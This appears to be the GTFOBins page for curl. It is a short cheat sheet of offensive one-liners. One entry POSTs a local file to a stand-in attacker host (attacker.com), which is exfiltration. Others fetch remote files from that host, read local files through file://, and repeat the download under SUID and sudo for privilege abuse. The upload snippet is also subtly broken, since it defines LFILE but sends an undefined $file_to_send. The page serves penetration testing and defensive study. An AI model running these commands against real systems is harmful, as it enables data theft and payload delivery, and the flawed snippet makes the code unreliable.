GTFOBins.github.io/_gtfobins/curl.md
2018-10-05 18:55:38 +01:00

33 lines
1.1 KiB
Markdown

---
functions:
file-upload:
- description: Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the `@` to send hard-coded data.
code: |
URL=http://attacker.com/
LFILE=file_to_send
curl -X POST -d @$file_to_send $URL
file-download:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
curl $URL -o $LFILE
file-read:
- description: The file path must be absolute.
code: |
LFILE=/tmp/file_to_read
curl file://$LFILE
suid:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
./curl $URL -o $LFILE
sudo:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
sudo -E curl $URL -o $LFILE
---